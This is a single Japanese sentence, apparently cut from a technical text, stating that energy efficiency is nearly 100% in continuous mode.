連続モードの場合は、エネルギー効率はほぼ100%である。